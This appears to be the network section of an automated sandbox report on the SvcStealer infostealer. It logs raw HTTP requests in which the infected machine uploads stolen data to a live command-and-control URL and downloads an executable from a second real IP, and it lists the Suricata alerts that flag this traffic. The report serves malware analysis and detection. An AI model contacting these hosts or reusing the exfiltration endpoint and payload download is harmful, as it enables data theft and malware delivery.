Network Analysis
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| No hosts contacted. | ||
POST
200
http://185.39.17.158/svcstealer/get.php
REQUEST
RESPONSE
BODY
POST /svcstealer/get.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----7d82751e2bc0752
User-Agent: Mozilla/5.0
Host: 185.39.17.158
Content-Length: 84601
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Sat, 26 Apr 2025 05:22:55 GMT
Server: Apache/2.4.41 (Ubuntu)
Set-Cookie: PHPSESSID=1ustbeu1fvhlr9kfghko6aulhh; path=/
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Last-Modified: Sat, 26 Apr 2025 05:22:57 GMT
Content-Length: 0
Content-Type: text/html; charset=UTF-8
POST
200
http://185.39.17.158/svcstealer/get.php
REQUEST
RESPONSE
BODY
POST /svcstealer/get.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
Host: 185.39.17.158
Content-Length: 28
Cache-Control: no-cache
Cookie: PHPSESSID=1ustbeu1fvhlr9kfghko6aulhh
HTTP/1.1 200 OK
Date: Sat, 26 Apr 2025 05:22:57 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Last-Modified: Sat, 26 Apr 2025 05:22:57 GMT
Content-Length: 2
Content-Type: text/html; charset=UTF-8
POST
200
http://185.39.17.158/svcstealer/get.php
REQUEST
RESPONSE
BODY
POST /svcstealer/get.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
Host: 185.39.17.158
Content-Length: 34
Cache-Control: no-cache
Cookie: PHPSESSID=1ustbeu1fvhlr9kfghko6aulhh
HTTP/1.1 200 OK
Date: Sat, 26 Apr 2025 05:22:58 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Last-Modified: Sat, 26 Apr 2025 05:22:58 GMT
Content-Length: 0
Content-Type: text/html; charset=UTF-8
POST
200
http://185.39.17.158/svcstealer/get.php
REQUEST
RESPONSE
BODY
POST /svcstealer/get.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----7d82751e2bc0858
User-Agent: Mozilla/5.0
Host: 185.39.17.158
Content-Length: 85649
Cache-Control: no-cache
Cookie: PHPSESSID=1ustbeu1fvhlr9kfghko6aulhh
HTTP/1.1 200 OK
Date: Sat, 26 Apr 2025 05:22:59 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Last-Modified: Sat, 26 Apr 2025 05:23:00 GMT
Content-Length: 0
Content-Type: text/html; charset=UTF-8
POST
200
http://185.39.17.158/svcstealer/get.php
REQUEST
RESPONSE
BODY
POST /svcstealer/get.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
Host: 185.39.17.158
Content-Length: 26
Cache-Control: no-cache
Cookie: PHPSESSID=1ustbeu1fvhlr9kfghko6aulhh
HTTP/1.1 200 OK
Date: Sat, 26 Apr 2025 05:23:01 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Last-Modified: Sat, 26 Apr 2025 05:23:01 GMT
Content-Length: 30
Content-Type: text/html; charset=UTF-8
GET
200
http://80.64.16.35/fgg.exe
REQUEST
RESPONSE
BODY
GET /fgg.exe HTTP/1.1
User-Agent: Mozilla/5.0
Host: 80.64.16.35
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Sat, 26 Apr 2025 05:23:01 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
Last-Modified: Thu, 24 Apr 2025 14:45:48 GMT
ETag: "3f000-63387460285cf"
Accept-Ranges: bytes
Content-Length: 258048
Content-Type: application/x-msdownload
ICMP traffic
No ICMP traffic performed.
IRC traffic
No IRC requests performed.
Suricata Alerts
| Flow | SID | Signature | Category |
|---|---|---|---|
| TCP 192.168.56.103:49173 -> 80.64.16.35:80 | 2016141 | ET INFO Executable Download from dotted-quad Host | Potentially Bad Traffic |
| TCP 192.168.56.103:49173 -> 80.64.16.35:80 | 2019714 | ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile | Potentially Bad Traffic |
| TCP 192.168.56.103:49163 -> 185.39.17.158:80 | 2061022 | ET MALWARE SvcStealer Data Exfiltration Attempt | A Network Trojan was detected |
| TCP 80.64.16.35:80 -> 192.168.56.103:49173 | 2018959 | ET POLICY PE EXE or DLL Windows file download HTTP | Potential Corporate Privacy Violation |
| TCP 80.64.16.35:80 -> 192.168.56.103:49173 | 2021076 | ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response | Potentially Bad Traffic |
| TCP 192.168.56.103:49164 -> 185.39.17.158:80 | 2061021 | ET MALWARE SvcStealer CNC Tasking Checkin | A Network Trojan was detected |
Suricata TLS
No Suricata TLS
Snort Alerts
No Snort Alerts